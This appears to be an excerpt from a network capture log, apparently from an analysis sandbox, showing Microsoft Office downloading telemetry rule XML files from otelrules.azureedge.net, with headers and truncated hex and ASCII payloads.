2024-11-22 03:12:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:22 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031222Z-178bfbc474bh5zbqhC1NYCkdug00000002bg000000006wbx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:22 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:23 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031222Z-174c587ffdftjz9shC1TEBsh9800000000tg00000000218n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:22 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:23 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2b57feed-101e-0028-5221-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031223Z-178bfbc474bxkclvhC1NYC69g400000002bg000000008a38 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:23 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 38a668eb-401e-00ac-34a1-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031224Z-15b8b599d88g5tp8hC1TEByx6w00000000x0000000002rfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:24 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:25 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031224Z-174c587ffdfgcs66hC1TEB69cs00000000u0000000000n5h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:24 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031225Z-174c587ffdfl22mzhC1TEBk40c00000000yg00000000fm51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:24 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:25 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 449238ea-501e-0029-7d7c-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031225Z-174c587ffdfn4nhwhC1TEB2nbc00000000vg00000000ks9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:25 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:25 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031225Z-174c587ffdfn4nhwhC1TEB2nbc00000000y0000000009tkf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:26 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:27 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ca94d1e-301e-0000-0f9c-3beecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031227Z-174c587ffdfn4nhwhC1TEB2nbc00000000v000000000meyf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:27 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:27 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:27 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:27 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031227Z-178bfbc474b9xljthC1NYCtw9400000002b0000000005nmt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:27 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:27 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031227Z-178bfbc474bgvl54hC1NYCsfuw000000028g00000000nhcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
